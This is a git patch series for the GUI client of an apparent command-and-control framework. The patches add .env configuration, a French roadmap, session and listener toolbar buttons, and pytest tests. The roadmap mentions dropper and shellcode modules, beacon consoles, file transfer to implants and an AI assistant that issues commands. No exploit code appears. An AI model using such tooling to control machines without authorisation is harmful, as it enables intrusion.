candidates.append(Path(env_value).expanduser()) + env_root = env_path("C2_PROTOCOL_PYTHON_ROOT") + if env_root: + candidates.append(env_root) repo_root = Path(__file__).resolve().parents[2] candidates.extend(sorted(repo_root.glob("build*/generated/python_protocol"))) diff --git a/C2Client/TODO.md b/C2Client/TODO.md new file mode 100644 index 0000000..0f18e68 --- /dev/null +++ b/C2Client/TODO.md @@ -0,0 +1,89 @@ +# C2Client Friendly Roadmap + +Objectif: rendre le client plus agreable pour un operateur, puis enrichir proprement l'interaction client/TeamServer. Les items sont classes du moins couteux au plus couteux. + +## Todo List + +| Ordre | Chantier | Cout | Impact | Notes | +| --- | --- | --- | --- | --- | +| 1 | Ajouter une barre de statut client | XS | Fort | Fait. Affiche connexion, host, port, utilisateur, mode dev, certificat charge, dernier refresh RPC et derniere erreur gRPC. Client-only. | +| 2 | Centraliser toutes les configs client dans `.env` | XS | Fort | Fait. Helpers types dans `env.py`, resolution des chemins, branchement certificat, protocol root, logs, refresh intervals, gRPC, UI et assistant. | +| 3 | Completer `C2Client/.env.example` | XS | Moyen | Fait. Exemple enrichi avec connexion, auth, certificat, protocol root, UI, gRPC, assistant et modules locaux. | +| 4 | Utiliser `.env` comme defaults CLI | S | Fort | Fait. `C2_IP`, `C2_PORT` et `C2_DEV_MODE` alimentent les defaults CLI, avec arguments CLI prioritaires. | +| 5 | Rendre les actions principales visibles | S | Fort | Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; garder le clic droit comme raccourci, pas comme seul chemin. | +| 6 | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | +| 7 | Ameliorer les messages d'erreur et d'etat | S | Fort | Normaliser success/error dans les panneaux, afficher l'action concernee, conserver la derniere erreur visible. | +| 8 | Nettoyer le bruit console/debug | S | Moyen | Remplacer les `print()` UI par logging, supprimer debug accidentels, rendre les erreurs scripts visibles sans casser l'UI. | +| 9 | Ajouter filtres, recherche et tri tables | M | Fort | Filtrer sessions/listeners par host, user, OS, privilege, listener, status; tri par last seen et privilege. Client-only au depart. | +| 10 | Humaniser l'etat des sessions | M | Fort | Badges `alive`, `stale`, `killed`, last seen relatif, couleur discrete par privilege/OS, detection session inactive. | +| 11 | Ameliorer la console beacon | M | Fort | Recherche output, clear, export log, pause autoscroll, bouton resend, affichage `queued/done/error` par `command_id`. | +| 12 | Transformer `ScriptPanel` en vrai panneau d'automations | M | Moyen | Lister hooks charges, afficher erreurs par script, activer/desactiver un script, executer une action script manuelle. | +| 13 | Ameliorer le formulaire listener | M | Moyen | Validation port/IP/domain/token avant RPC, defaults par type, erreurs inline, previsualisation de la config envoyee. | +| 14 | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | +| 15 | Ameliorer le graph | M | Moyen | Zoom, fit-to-view, layout persistant, clic node pour ouvrir details/console, couleurs par listener/status. | +| 16 | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | +| 17 | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | +| 18 | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Remplacer l'autocompletion hardcodee par une source serveur: nom, OS, aide, arguments, exemples, module charge ou non. | +| 19 | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 20 | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 21 | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 22 | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 23 | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 24 | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 25 | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | + +## Details `.env` + +La gestion `.env` est une bonne direction parce qu'elle reduit la friction de lancement et evite de disperser la config entre CLI, variables shell, assistant et chemins locaux. Le comportement recommande: + +- Priorite: arguments CLI > variables d'environnement deja presentes > fichier `C2_ENV_FILE` > `.env` du cwd > `C2Client/.env` > defaults internes. +- Ne jamais versionner `C2Client/.env`; garder seulement `C2Client/.env.example`. +- Charger `.env` une seule fois au demarrage, puis exposer la config active dans la barre de statut sans afficher les secrets. +- Resoudre les chemins de `.env` depuis le dossier du fichier `.env`, pour que `C2_CERT_PATH=../TeamServer/server.crt` fonctionne. +- Masquer `C2_PASSWORD`, `OPENAI_API_KEY`, tokens GitHub/listener et autres secrets dans tous les logs/UI. + +Variables client a centraliser: + +```dotenv +# TeamServer connection +C2_IP=127.0.0.1 +C2_PORT=50051 +C2_DEV_MODE=false +C2_CERT_PATH= +C2_USERNAME= +C2_PASSWORD= + +# Generated protocol +C2_PROTOCOL_PYTHON_ROOT= + +# Client UI +C2_UI_THEME=dark +C2_SESSION_REFRESH_MS=2000 +C2_LISTENER_REFRESH_MS=2000 +C2_GRAPH_REFRESH_MS=2000 +C2_LOG_DIR= + +# gRPC +C2_GRPC_CONNECT_TIMEOUT_MS=10000 +C2_GRPC_MAX_MESSAGE_MB=512 + +# Assistant +OPENAI_API_KEY= +C2_ASSISTANT_MODEL=gpt-4.1-mini +C2_ASSISTANT_MEMORY_MODEL=gpt-4.1-mini +C2_ASSISTANT_TEMPERATURE=0.05 +C2_ASSISTANT_MEMORY_TEMPERATURE=0.05 +C2_ASSISTANT_MAX_TOOL_CALLS=10 +C2_ASSISTANT_PENDING_TIMEOUT_MS=120000 + +# Local modules +C2_DROPPER_MODULES_DIR= +C2_SHELLCODE_MODULES_DIR= +``` + +## Proposition de phases + +1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. +2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. +3. Phase 3: items 17 a 20. Premier contrat client-server propre pour capabilities, commandes et erreurs. +4. Phase 4: items 21 a 25. Fonctionnalites operationnelles avancees et reduction du polling. diff --git a/C2Client/tests/test_env_loading.py b/C2Client/tests/test_env_loading.py index 23177fd..183f484 100644 --- a/C2Client/tests/test_env_loading.py +++ b/C2Client/tests/test_env_loading.py @@ -2,7 +2,7 @@ import os -from C2Client.env import load_c2_env +from C2Client.env import env_bool, env_int, env_path, load_c2_env def test_load_c2_env_reads_dotenv_without_overriding_existing_values(tmp_path, monkeypatch): @@ -40,3 +40,47 @@ def test_load_c2_env_can_override_when_requested(tmp_path, monkeypatch): load_c2_env([env_file], override=True) assert os.environ["OPENAI_API_KEY"] == "from-file" + + +def test_load_c2_env_resolves_path_values_relative_to_env_file(tmp_path, monkeypatch): + env_file = tmp_path / "nested" / ".env" + env_file.parent.mkdir() + env_file.write_text( + "\n".join( + [ + "C2_CERT_PATH=certs/server.crt", + "C2_LOG_DIR=./logs", + ] + ), + encoding="utf-8", + ) + monkeypatch.delenv("C2_CERT_PATH", raising=False) + monkeypatch.delenv("C2_LOG_DIR", raising=False) + + load_c2_env([env_file]) + + assert os.environ["C2_CERT_PATH"] == str((env_file.parent / "certs/server.crt").resolve()) + assert os.environ["C2_LOG_DIR"] == str((env_file.parent / "logs").resolve()) + + +def test_env_helpers_parse_typed_values(tmp_path, monkeypatch): + env_file = tmp_path / ".env" + env_file.write_text( + "\n".join( + [ + "C2_DEV_MODE=yes", + "C2_PORT=4444", + "C2_LOG_DIR=logs", + ] + ), + encoding="utf-8", + ) + monkeypatch.delenv("C2_DEV_MODE", raising=False) + monkeypatch.delenv("C2_PORT", raising=False) + monkeypatch.delenv("C2_LOG_DIR", raising=False) + + load_c2_env([env_file]) + + assert env_bool("C2_DEV_MODE") is True + assert env_int("C2_PORT", 50051, minimum=1, maximum=65535) == 4444 + assert env_path("C2_LOG_DIR") == (tmp_path / "logs").resolve() diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index a918735..7b37e57 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -13,7 +13,7 @@ class DummyFuture: - def result(self): + def result(self, timeout=None): return None @@ -53,6 +53,48 @@ def test_grpc_client_reports_rpc_status(tmp_path, monkeypatch): assert events == [("ListListeners", True, "")] +def test_grpc_client_uses_env_certificate_and_grpc_options(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setenv("C2_GRPC_MAX_MESSAGE_MB", "42") + monkeypatch.setenv("C2_GRPC_CONNECT_TIMEOUT_MS", "2500") + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + + captured = {} + + def fake_secure_channel(target, credentials, options): + captured["target"] = target + captured["options"] = options + return object() + + class CapturingFuture: + def result(self, timeout=None): + captured["timeout"] = timeout + return None + + monkeypatch.setattr(grpc, "secure_channel", fake_secure_channel) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: CapturingFuture()) + stub = mock.MagicMock() + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + + assert client.ca_cert_path == str(cert.resolve()) + assert captured["target"] == "127.0.0.1:50051" + assert ("grpc.max_send_message_length", 42 * 1024 * 1024) in captured["options"] + assert ("grpc.max_receive_message_length", 42 * 1024 * 1024) in captured["options"] + assert captured["timeout"] == 2.5 + + +def test_grpc_client_rejects_missing_configured_certificate(tmp_path, monkeypatch): + missing_cert = tmp_path / "missing.crt" + monkeypatch.setenv("C2_CERT_PATH", str(missing_cert)) + + with pytest.raises(ValueError, match="configured certificate not found"): + GrpcClient("127.0.0.1", 50051, False, token="tok") + + def test_grpc_client_connection_error(tmp_path, monkeypatch): cert = tmp_path / "cert.crt" cert.write_text("cert") @@ -61,7 +103,7 @@ def test_grpc_client_connection_error(tmp_path, monkeypatch): monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) class FailingFuture: - def result(self): + def result(self, timeout=None): raise grpc.RpcError("err") monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: FailingFuture()) diff --git a/C2Client/tests/test_gui_startup.py b/C2Client/tests/test_gui_startup.py index be04d45..5191502 100644 --- a/C2Client/tests/test_gui_startup.py +++ b/C2Client/tests/test_gui_startup.py @@ -81,3 +81,27 @@ def fake_bot(self): assert "RPC error" in app.connectionStatusLabel.text() assert "Last RPC: ListSessions" in app.rpcStatusLabel.text() assert "ListSessions: deadline exceeded" in app.errorStatusLabel.text() + + +def test_parse_client_args_uses_env_defaults(monkeypatch): + monkeypatch.setenv("C2_IP", "10.10.10.5") + monkeypatch.setenv("C2_PORT", "5443") + monkeypatch.setenv("C2_DEV_MODE", "true") + + args = GUI.parse_client_args([]) + + assert args.ip == "10.10.10.5" + assert args.port == 5443 + assert args.dev is True + + +def test_parse_client_args_keeps_cli_priority(monkeypatch): + monkeypatch.setenv("C2_IP", "10.10.10.5") + monkeypatch.setenv("C2_PORT", "5443") + monkeypatch.setenv("C2_DEV_MODE", "true") + + args = GUI.parse_client_args(["--ip", "127.0.0.2", "--port", "6000", "--no-dev"]) + + assert args.ip == "127.0.0.2" + assert args.port == 6000 + assert args.dev is False From 6a5ce9898f12c34c4056104eca1969bed10153ee Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 16:03:30 +0200 Subject: [PATCH 03/82] feat(c2client): expose primary session and listener actions --- C2Client/C2Client/ListenerPanel.py | 72 ++++++++++++++++- C2Client/C2Client/SessionPanel.py | 108 ++++++++++++++++++++++---- C2Client/TODO.md | 2 +- C2Client/tests/test_listener_panel.py | 36 ++++++++- C2Client/tests/test_session_panel.py | 59 +++++++++++++- 5 files changed, 255 insertions(+), 22 deletions(-) diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index d0b18f6..7cfe89c 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -3,9 +3,11 @@ from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject from PyQt6.QtWidgets import ( + QApplication, QComboBox, QFormLayout, QGridLayout, + QHBoxLayout, QLabel, QLineEdit, QMenu, @@ -70,6 +72,8 @@ def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) self.grpcClient = grpcClient + self.idListener = 0 + self.listListenerObject = [] self.createListenerWindow = None @@ -77,9 +81,33 @@ def __init__(self, parent, grpcClient): self.layout = QGridLayout(widget) self.label = QLabel(ListenerTabTitle) - self.layout.addWidget(self.label) + self.headerLayout = QHBoxLayout() + self.headerLayout.addWidget(self.label) + self.headerLayout.addStretch(1) + + self.addListenerButton = QPushButton("Add Listener") + self.addListenerButton.setToolTip("Create a new primary listener.") + self.addListenerButton.clicked.connect(self.listenerForm) + self.headerLayout.addWidget(self.addListenerButton) + + self.stopListenerButton = QPushButton("Stop") + self.stopListenerButton.setToolTip("Stop the selected listener.") + self.stopListenerButton.clicked.connect(self.stopSelectedListener) + self.headerLayout.addWidget(self.stopListenerButton) + + self.copyListenerIdButton = QPushButton("Copy ID") + self.copyListenerIdButton.setToolTip("Copy the selected listener hash.") + self.copyListenerIdButton.clicked.connect(self.copySelectedListenerId) + self.headerLayout.addWidget(self.copyListenerIdButton) + + self.refreshButton = QPushButton("Refresh") + self.refreshButton.setToolTip("Refresh listeners now.") + self.refreshButton.clicked.connect(self.listListeners) + self.headerLayout.addWidget(self.refreshButton) + self.layout.addLayout(self.headerLayout, 0, 0) + self.statusLabel = QLabel("") - self.layout.addWidget(self.statusLabel) + self.layout.addWidget(self.statusLabel, 1, 0) # List of sessions self.listListener = QTableWidget() @@ -92,12 +120,13 @@ def __init__(self, parent, grpcClient): # self.listListener.cellPressed.connect(self.listListenerClicked) self.listListener.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) self.listListener.customContextMenuRequested.connect(self.showContextMenu) + self.listListener.itemSelectionChanged.connect(self.updateActionButtons) self.listListener.verticalHeader().setVisible(False) header = self.listListener.horizontalHeader() for i in range(header.count()): header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) - self.layout.addWidget(self.listListener) + self.layout.addWidget(self.listListener, 2, 0) # Thread to get listeners every second # https://realpython.com/python-pyqt-qthread/ @@ -109,15 +138,49 @@ def __init__(self, parent, grpcClient): self.thread.start() self.setLayout(self.layout) + self.updateActionButtons() def setStatusMessage(self, ack, successFallback): message = operation_ack_text(ack, successFallback) + self.setInlineStatus(message, is_response_ok(ack)) + + def setInlineStatus(self, message, ok=True): self.statusLabel.setText(message) - if is_response_ok(ack): + if ok: self.statusLabel.setStyleSheet("color: #0a7f2e;") else: self.statusLabel.setStyleSheet("color: #b00020;") + def updateActionButtons(self): + hasSelection = self.selectedListener() is not None + self.stopListenerButton.setEnabled(hasSelection) + self.copyListenerIdButton.setEnabled(hasSelection) + + def selectedListener(self): + selectedRows = self.listListener.selectionModel().selectedRows() if self.listListener.selectionModel() else [] + if not selectedRows: + return None + + row = selectedRows[0].row() + if row < 0 or row >= len(self.listListenerObject): + return None + return self.listListenerObject[row] + + def stopSelectedListener(self): + listenerStore = self.selectedListener() + if listenerStore is None: + self.setInlineStatus("Select a listener first.", False) + return + self.stopListener(listenerStore.listenerHash) + + def copySelectedListenerId(self): + listenerStore = self.selectedListener() + if listenerStore is None: + self.setInlineStatus("Select a listener first.", False) + return + QApplication.clipboard().setText(listenerStore.listenerHash) + self.setInlineStatus("Listener ID copied to clipboard.") + def __del__(self): self.getListenerWorker.quit() self.thread.quit() @@ -250,6 +313,7 @@ def printListeners(self): port = QTableWidgetItem(str(listenerStore.port)) self.listListener.setItem(ix, 3, port) + self.updateActionButtons() class CreateListner(QWidget): diff --git a/C2Client/C2Client/SessionPanel.py b/C2Client/C2Client/SessionPanel.py index 1082c43..ba0422c 100644 --- a/C2Client/C2Client/SessionPanel.py +++ b/C2Client/C2Client/SessionPanel.py @@ -3,9 +3,12 @@ from PyQt6.QtCore import Qt, QThread, QTimer, pyqtSignal, QObject from PyQt6.QtWidgets import ( + QApplication, QGridLayout, + QHBoxLayout, QLabel, QMenu, + QPushButton, QTableView, QTableWidget, QTableWidgetItem, @@ -53,14 +56,40 @@ def __init__(self, parent, grpcClient): super(QWidget, self).__init__(parent) self.grpcClient = grpcClient + self.idSession = 0 + self.listSessionObject = [] widget = QWidget(self) self.layout = QGridLayout(widget) self.label = QLabel('Sessions') - self.layout.addWidget(self.label) + self.headerLayout = QHBoxLayout() + self.headerLayout.addWidget(self.label) + self.headerLayout.addStretch(1) + + self.interactButton = QPushButton("Interact") + self.interactButton.setToolTip("Open an interactive console for the selected session.") + self.interactButton.clicked.connect(self.interactWithSelectedSession) + self.headerLayout.addWidget(self.interactButton) + + self.stopButton = QPushButton("Stop") + self.stopButton.setToolTip("Queue a stop command for the selected session.") + self.stopButton.clicked.connect(self.stopSelectedSession) + self.headerLayout.addWidget(self.stopButton) + + self.copySessionIdButton = QPushButton("Copy ID") + self.copySessionIdButton.setToolTip("Copy the selected beacon hash.") + self.copySessionIdButton.clicked.connect(self.copySelectedSessionId) + self.headerLayout.addWidget(self.copySessionIdButton) + + self.refreshButton = QPushButton("Refresh") + self.refreshButton.setToolTip("Refresh sessions now.") + self.refreshButton.clicked.connect(self.listSessions) + self.headerLayout.addWidget(self.refreshButton) + self.layout.addLayout(self.headerLayout, 0, 0) + self.statusLabel = QLabel("") - self.layout.addWidget(self.statusLabel) + self.layout.addWidget(self.statusLabel, 1, 0) # List of sessions self.listSession = QTableWidget() @@ -71,13 +100,14 @@ def __init__(self, parent, grpcClient): self.listSession.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu) self.listSession.customContextMenuRequested.connect(self.showContextMenu) + self.listSession.itemSelectionChanged.connect(self.updateActionButtons) self.listSession.verticalHeader().setVisible(False) header = self.listSession.horizontalHeader() for i in range(header.count()): header.setSectionResizeMode(i, QHeaderView.ResizeMode.Stretch) QTimer.singleShot(100, self.switch_to_interactive) - self.layout.addWidget(self.listSession) + self.layout.addWidget(self.listSession, 2, 0) # Thread to fetch sessions every second # https://realpython.com/python-pyqt-qthread/ @@ -89,15 +119,63 @@ def __init__(self, parent, grpcClient): self.thread.start() self.setLayout(self.layout) + self.updateActionButtons() def setStatusMessage(self, ack, successFallback): message = operation_ack_text(ack, successFallback) + self.setInlineStatus(message, is_response_ok(ack)) + + def setInlineStatus(self, message, ok=True): self.statusLabel.setText(message) - if is_response_ok(ack): + if ok: self.statusLabel.setStyleSheet("color: #0a7f2e;") else: self.statusLabel.setStyleSheet("color: #b00020;") + def updateActionButtons(self): + hasSelection = self.selectedSession() is not None + self.interactButton.setEnabled(hasSelection) + self.stopButton.setEnabled(hasSelection) + self.copySessionIdButton.setEnabled(hasSelection) + + def selectedSession(self): + selectedRows = self.listSession.selectionModel().selectedRows() if self.listSession.selectionModel() else [] + if not selectedRows: + return None + + row = selectedRows[0].row() + if row < 0 or row >= len(self.listSessionObject): + return None + return self.listSessionObject[row] + + def sessionByShortBeaconHash(self, beaconHashPrefix): + for sessionStore in self.listSessionObject: + if sessionStore.beaconHash[0:8] == beaconHashPrefix: + return sessionStore + return None + + def interactWithSelectedSession(self): + sessionStore = self.selectedSession() + if sessionStore is None: + self.setInlineStatus("Select a session first.", False) + return + self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) + + def stopSelectedSession(self): + sessionStore = self.selectedSession() + if sessionStore is None: + self.setInlineStatus("Select a session first.", False) + return + self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) + + def copySelectedSessionId(self): + sessionStore = self.selectedSession() + if sessionStore is None: + self.setInlineStatus("Select a session first.", False) + return + QApplication.clipboard().setText(sessionStore.beaconHash) + self.setInlineStatus("Beacon ID copied to clipboard.") + def resizeEvent(self, event): super().resizeEvent(event) self.listSession.verticalHeader().setVisible(False) @@ -137,15 +215,18 @@ def showContextMenu(self, position): # catch Interact and Stop menu click def actionClicked(self, action): hash = self.item - for ix, sessionStore in enumerate(self.listSessionObject): - if sessionStore.beaconHash[0:8] == hash: - if action.text() == "Interact": - self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) - elif action.text() == "Stop": - self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) - elif action.text() == "Delete": - self.listSessionObject.pop(ix) - self.printSessions() + for ix, sessionStore in enumerate(list(self.listSessionObject)): + if sessionStore.beaconHash[0:8] != hash: + continue + if action.text() == "Interact": + self.interactWithSession.emit(sessionStore.beaconHash, sessionStore.listenerHash, sessionStore.hostname, sessionStore.username) + elif action.text() == "Stop": + self.stopSession(sessionStore.beaconHash, sessionStore.listenerHash) + elif action.text() == "Delete": + self.listSessionObject.pop(ix) + break + self.printSessions() + self.updateActionButtons() def stopSession(self, beaconHash, listenerHash): @@ -263,6 +344,7 @@ def printSessions(self): killed = QTableWidgetItem(str(sessionStore.killed)) self.listSession.setItem(ix, 10, killed) + self.updateActionButtons() class GetSessionsWorker(QObject): diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 0f18e68..2be7418 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -10,7 +10,7 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 2 | Centraliser toutes les configs client dans `.env` | XS | Fort | Fait. Helpers types dans `env.py`, resolution des chemins, branchement certificat, protocol root, logs, refresh intervals, gRPC, UI et assistant. | | 3 | Completer `C2Client/.env.example` | XS | Moyen | Fait. Exemple enrichi avec connexion, auth, certificat, protocol root, UI, gRPC, assistant et modules locaux. | | 4 | Utiliser `.env` comme defaults CLI | S | Fort | Fait. `C2_IP`, `C2_PORT` et `C2_DEV_MODE` alimentent les defaults CLI, avec arguments CLI prioritaires. | -| 5 | Rendre les actions principales visibles | S | Fort | Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; garder le clic droit comme raccourci, pas comme seul chemin. | +| 5 | Rendre les actions principales visibles | S | Fort | Fait. Boutons `Add Listener`, `Interact`, `Stop`, `Copy ID`, `Refresh`; le clic droit reste disponible comme raccourci. | | 6 | Ajouter copie rapide des IDs et infos session | S | Moyen | Copie beacon hash, listener hash, host, user, internal IP depuis tables et graph. | | 7 | Ameliorer les messages d'erreur et d'etat | S | Fort | Normaliser success/error dans les panneaux, afficher l'action concernee, conserver la derniere erreur visible. | | 8 | Nettoyer le bruit console/debug | S | Moyen | Remplacer les `print()` UI par logging, supprimer debug accidentels, rendre les erreurs scripts visibles sans casser l'UI. | diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index a9c77d6..4ad7aca 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -1,6 +1,6 @@ -from PyQt6.QtWidgets import QWidget +from PyQt6.QtWidgets import QApplication, QWidget -from C2Client.ListenerPanel import Listeners +from C2Client.ListenerPanel import Listener, Listeners from C2Client.grpcClient import TeamServerApi_pb2 @@ -8,6 +8,7 @@ class StubGrpc: def __init__(self): self.add_ack = None self.stop_ack = None + self.stopped_listeners = [] def listListeners(self): return [] @@ -16,6 +17,7 @@ def addListener(self, listener): return self.add_ack or type("Ack", (), {"status": TeamServerApi_pb2.OK, "message": "Listener created."})() def stopListener(self, listener): + self.stopped_listeners.append(listener) return self.stop_ack or type("Ack", (), {"status": TeamServerApi_pb2.OK, "message": "Listener stopped."})() @@ -26,9 +28,39 @@ def test_add_listener_ack_message_is_displayed(qtbot, monkeypatch): grpc.add_ack = type("Ack", (), {"status": TeamServerApi_pb2.KO, "message": "Listener already exists."})() parent = QWidget() listeners = Listeners(parent, grpc) + listeners.listListenerObject = [] qtbot.addWidget(listeners) listeners.addListener(["https", "0.0.0.0", "8443"]) assert listeners.statusLabel.text() == "Listener already exists." assert "#b00020" in listeners.statusLabel.styleSheet() + + +def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + listeners = Listeners(parent, grpc) + listeners.listListenerObject = [ + Listener(0, "listener-full-hash", "https", "0.0.0.0", 8443, 0) + ] + qtbot.addWidget(listeners) + + listeners.printListeners() + assert listeners.addListenerButton.isEnabled() is True + assert listeners.stopListenerButton.isEnabled() is False + assert listeners.copyListenerIdButton.isEnabled() is False + + listeners.listListener.selectRow(0) + + assert listeners.stopListenerButton.isEnabled() is True + assert listeners.copyListenerIdButton.isEnabled() is True + + listeners.copyListenerIdButton.click() + assert QApplication.clipboard().text() == "listener-full-hash" + assert listeners.statusLabel.text() == "Listener ID copied to clipboard." + + listeners.stopListenerButton.click() + assert grpc.stopped_listeners[-1].listener_hash == "listener-full-hash" diff --git a/C2Client/tests/test_session_panel.py b/C2Client/tests/test_session_panel.py index b2458cd..059f080 100644 --- a/C2Client/tests/test_session_panel.py +++ b/C2Client/tests/test_session_panel.py @@ -1,17 +1,19 @@ -from PyQt6.QtWidgets import QWidget +from PyQt6.QtWidgets import QApplication, QWidget -from C2Client.SessionPanel import Sessions +from C2Client.SessionPanel import Session, Sessions from C2Client.grpcClient import TeamServerApi_pb2 class StubGrpc: def __init__(self): self.stop_ack = None + self.stopped_sessions = [] def listSessions(self): return [] def stopSession(self, session): + self.stopped_sessions.append(session) return self.stop_ack or type("Ack", (), {"status": TeamServerApi_pb2.OK, "message": "Session stop command queued."})() @@ -20,6 +22,7 @@ def test_sessions_table_labels_arch_as_beacon_process(qtbot, monkeypatch): parent = QWidget() sessions = Sessions(parent, StubGrpc()) + sessions.listSessionObject = [] qtbot.addWidget(sessions) sessions.printSessions() @@ -36,9 +39,61 @@ def test_stop_session_ack_message_is_displayed(qtbot, monkeypatch): grpc.stop_ack = type("Ack", (), {"status": TeamServerApi_pb2.KO, "message": "Session not found."})() parent = QWidget() sessions = Sessions(parent, grpc) + sessions.listSessionObject = [] qtbot.addWidget(sessions) sessions.stopSession("beacon", "listener") assert sessions.statusLabel.text() == "Session not found." assert "#b00020" in sessions.statusLabel.styleSheet() + + +def test_session_toolbar_actions_use_selected_session(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.SessionPanel.QThread.start", lambda self: None) + + grpc = StubGrpc() + parent = QWidget() + sessions = Sessions(parent, grpc) + sessions.listSessionObject = [ + Session( + 0, + "listener-full-hash", + "beacon-full-hash", + "host1", + "user1", + "x64", + "HIGH", + "Windows", + "2026-05-04T12:00:00", + False, + "10.0.0.5", + "1234", + "", + ) + ] + qtbot.addWidget(sessions) + + emitted = [] + sessions.interactWithSession.connect(lambda *args: emitted.append(args)) + + sessions.printSessions() + assert sessions.interactButton.isEnabled() is False + assert sessions.stopButton.isEnabled() is False + assert sessions.copySessionIdButton.isEnabled() is False + + sessions.listSession.selectRow(0) + + assert sessions.interactButton.isEnabled() is True + assert sessions.stopButton.isEnabled() is True + assert sessions.copySessionIdButton.isEnabled() is True + + sessions.interactButton.click() + assert emitted == [("beacon-full-hash", "listener-full-hash", "host1", "user1")] + + sessions.copySessionIdButton.click() + assert QApplication.clipboard().text() == "beacon-full-hash" + assert sessions.statusLabel.text() == "Beacon ID copied to clipboard." + + sessions.stopButton.click() + assert grpc.stopped_sessions[-1].beacon_hash == "beacon-full-hash" + assert grpc.stopped_sessions[-1].listener_hash == "listener-full-hash" From 70e8423eec1ced2b98825aa0eeb6aea2b93ac93e Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Mon, 4 May 2026 16:16:28 +0200 Subject: [PATCH 04/82] fix(c2client): preserve table column sizing --- C2Client/C2Client/ListenerPanel.py | 59 ++++++++++++++++------ C2Client/C2Client/SessionPanel.py | 71 ++++++++++++++++++--------- C2Client/tests/test_listener_panel.py | 25 +++++++++- C2Client/tests/test_session_panel.py | 40 ++++++++++++++- 4 files changed, 156 insertions(+), 39 deletions(-) diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index 7cfe89c..be6f87b 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -1,5 +1,4 @@ import time -import logging from PyQt6.QtCore import Qt, QThread, pyqtSignal, QObject from PyQt6.QtWidgets import ( @@ -12,12 +11,12 @@ QLineEdit, QMenu, QPushButton, - QTableView, QTableWidget, QTableWidgetItem, QWidget, QHeaderView, QAbstractItemView, + QSizePolicy, ) from .grpcClient import TeamServerApi_pb2 @@ -66,6 +65,8 @@ class Listeners(QWidget): idListener = 0 listListenerObject = [] + COLUMN_WIDTHS = [76, 70, 160, 72] + STRETCH_COLUMN = 2 def __init__(self, parent, grpcClient): @@ -79,40 +80,45 @@ def __init__(self, parent, grpcClient): widget = QWidget(self) self.layout = QGridLayout(widget) + self.layout.setContentsMargins(4, 4, 4, 4) + self.layout.setHorizontalSpacing(6) + self.layout.setVerticalSpacing(4) + self.layout.setColumnStretch(0, 1) + self.layout.setRowStretch(2, 1) self.label = 